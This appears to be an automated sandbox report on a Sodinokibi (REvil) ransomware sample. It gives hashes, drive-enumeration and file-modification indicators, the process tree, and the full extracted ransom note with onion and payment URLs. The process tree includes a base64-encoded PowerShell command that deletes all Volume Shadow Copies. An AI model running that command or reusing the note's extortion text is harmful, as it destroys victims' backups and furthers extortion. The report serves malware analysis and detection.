sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1777s
max time network
1508s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
04-03-2024 18:33

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

8d50eacadd7b377722828227a3d30350
SHA1

cbe1881838871f1fa3672b97cec29955b786aba3
SHA256

353ddd0a20aa154923d91052d8ef6c94a32fe9cb1293cde6b8d05b032a79237d
SHA512

8ae9aa227b92c18d8dbb8882d6ee097537f69e8e5700ca25506ca9d3a1d7559b20b27a53ab6aff0812e20201256f5cea8aa008a82861f27d334df638695d9ef8
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QrEz7U4kTyN:NJ0BXScFyfC3Hd4ygovU4s

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\55r1p85j-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 55r1p85j. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/236E8A2B0D32B707 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/236E8A2B0D32B707 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 48rMvJPly+4IEBZpN7GHXFvkrORlcgjX0ykbmIM1a/uQ9bOn+EE8s280J7M+hKqi rww+MkWn7d4TnxXCq7pJVrtNQjz8Q3ZZc9+i9N28XzZSCTL+nr4drRbbfdS8gjEx NM4fjUBaH01TF2G/XFNQ0MX/ZNCdFbfHiXYuvGNNsZs0JE2OfRt10MbWXRmLdC9D WpDomg46itOVkgXceXT8EQ+5vAY5vTaWTStWRuUdm8ysRyafEr9Pd6Jc8G8+6XAb O9UYv9ZxnEg73JgBZxsxG7y9kW1eqYGTiSqN/Goxk+gEHd35szEHAImTAuxpD8NU iaTlUI9Q4cib7lT3pgDgL7RpQK0/XIgv0x+JeGGsxJh9Lq9SJm/6Uimlc/1EXMne QACIwXunxwonOvRP6HhJsz/ERT3bTk21v0U+OhzPdH7nvxX7xVzGCfv9sBB7aMpS OZ1F2NP6stTlg4zwDovayB+Hpzm5uCJhR3BmzZgz68ULyEDSCgMiQUXfO5i2LqdT 7Bj2JBG21AmcueMOfa9CNsQdBRqtwQtPsU3/TrljOm8HQlWWNCA/p0Gt/7+EsAsM UrDEjiewS6vbQMDO0sY69eOJ3iwZnXIGsmaENcfYT6HrmPmjKeyWCVnBkAaVOrjo w8gc4eQGYiHox0KkWK018VrJlMnXuR54WR/Q4IkaEsKyjM/DarZz4qOjwO+w8Jz8 8jFUcveS76SeeZGZymlGXtuUBuu8fFh4Du7LMeb7prP1KdLNo1svIh6fwUmIZFYW L9HPqnTRycAT1sQheSA8FkQ0KkuR4zsbWRvkgFAbXvMJqcekWpW5A442L3WnIQ2Y OZ3gxsTiHt019MghTjhTcvJdE06l/G+REUN5zz+dBizjTF7pn727QrtbpywZKP0W kU3BukEQrdG/7vg5riQZ4O+g3Z3LP/J9c+ha2w9U9aop9HfGLL2kh4q790/udYEP AOAoISKXQpUz9JsvmhVm1ht86P06tZab974fGd5wbItTPJNPxbJgpUsGUQFKJ5J9 IthyjodhMuIyvgT+GsPpbOycUmizQIH72eJxUcPJU4L0/S3BYHejp+o4O8Uvoqwp VK2z74MYFwy/jgm/zZmtgwgoP4ElBl4qzF1AEbMRHbckVChgB68WI/gKfYPfpqcw qfRQmqR6PUEbH3IZTluouqt0PDULqq/Q3HQCmSVb+WtnaIuPSNhC3UEkzuVQHWDy lag+3wrDZy04lOfkr/NaH1uQI5T7j8nJmkDdyil0O7tO+B4KzvnW7yD/hu/2u2EU /6hk02FVOlkW13FmGqM3qI1p5wTeQFkHS8lDQ9Mw/+Pwmr4a/+CXQDFht5QmRwoN sz9mGx/lF3fScZ11Y+zwkkaBnHLULJc8pQreRqP2w1+J6azoQzdN+c2W ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/236E8A2B0D32B707

http://decryptor.cc/236E8A2B0D32B707

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe

Drops file in Program Files directory 28 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\DebugRevoke.m3u	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectHide.mpeg3	rundll32.exe
File opened for modification	\??\c:\program files\ImportPush.mov	rundll32.exe
File opened for modification	\??\c:\program files\ResetSet.php	rundll32.exe
File opened for modification	\??\c:\program files\CloseWrite.wav	rundll32.exe
File opened for modification	\??\c:\program files\CompressRevoke.avi	rundll32.exe
File opened for modification	\??\c:\program files\DismountReceive.otf	rundll32.exe
File opened for modification	\??\c:\program files\RegisterOptimize.ex_	rundll32.exe
File opened for modification	\??\c:\program files\RemoveAdd.emf	rundll32.exe
File created	\??\c:\program files\55r1p85j-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\AssertRead.ADT	rundll32.exe
File opened for modification	\??\c:\program files\MergeCompare.mpeg2	rundll32.exe
File opened for modification	\??\c:\program files\RequestRead.vst	rundll32.exe
File opened for modification	\??\c:\program files\SetGet.jfif	rundll32.exe
File opened for modification	\??\c:\program files\SkipSync.fon	rundll32.exe
File opened for modification	\??\c:\program files\SuspendSearch.xlsm	rundll32.exe
File opened for modification	\??\c:\program files\TestLimit.mpeg3	rundll32.exe
File created	\??\c:\program files (x86)\55r1p85j-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\EnableUndo.ram	rundll32.exe
File opened for modification	\??\c:\program files\ExitPop.sql	rundll32.exe
File opened for modification	\??\c:\program files\EditSend.mp4v	rundll32.exe
File opened for modification	\??\c:\program files\ExitRevoke.inf	rundll32.exe
File opened for modification	\??\c:\program files\ExportEdit.MTS	rundll32.exe
File opened for modification	\??\c:\program files\RestoreAssert.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\BackupWrite.jfif	rundll32.exe
File opened for modification	\??\c:\program files\ImportConnect.dotm	rundll32.exe
File opened for modification	\??\c:\program files\MergeComplete.scf	rundll32.exe
File opened for modification	\??\c:\program files\SwitchMove.mpeg	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4952 rundll32.exe
4952 rundll32.exe
3892 powershell.exe
3892 powershell.exe

pid	process
4952	rundll32.exe
4952	rundll32.exe
3892	powershell.exe
3892	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4952	rundll32.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeBackupPrivilege	4204	vssvc.exe
Token: SeRestorePrivilege	4204	vssvc.exe
Token: SeAuditPrivilege	4204	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 2404 wrote to memory of 4952	2404	rundll32.exe	rundll32.exe
PID 2404 wrote to memory of 4952	2404	rundll32.exe	rundll32.exe
PID 2404 wrote to memory of 4952	2404	rundll32.exe	rundll32.exe
PID 4952 wrote to memory of 3892	4952	rundll32.exe	powershell.exe
PID 4952 wrote to memory of 3892	4952	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3892

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4276

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4204

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Recovery\55r1p85j-readme.txt
Filesize
6KB

MD5
84f2295e2523127f5293cee8d907e307

SHA1
aa57e745a0138ce2ab83ba9d2e607b575314fc97

SHA256
ee29bd3f08db11e3be64643fe5f08978244e1205aba6ccff72bfb139d95d2784

SHA512
b0e0c8dea770f37e5dda65d5b2e19b46f7a7477ee74e4466f29d99ff32c1c80ffd122d8621558c19fae75ebb056b9dbb9ff7057fb5c36c01c666cb982c665004

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lf1qdfxf.kbe.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3892-8-0x0000021C77300000-0x0000021C77322000-memory.dmp

Filesize
136KB

Download
memory/3892-9-0x00007FF925880000-0x00007FF926342000-memory.dmp

Filesize
10.8MB

Download
memory/3892-10-0x0000021C77340000-0x0000021C77350000-memory.dmp

Filesize
64KB

Download
memory/3892-11-0x0000021C77340000-0x0000021C77350000-memory.dmp

Filesize
64KB

Download
memory/3892-14-0x00007FF925880000-0x00007FF926342000-memory.dmp

Filesize
10.8MB

Download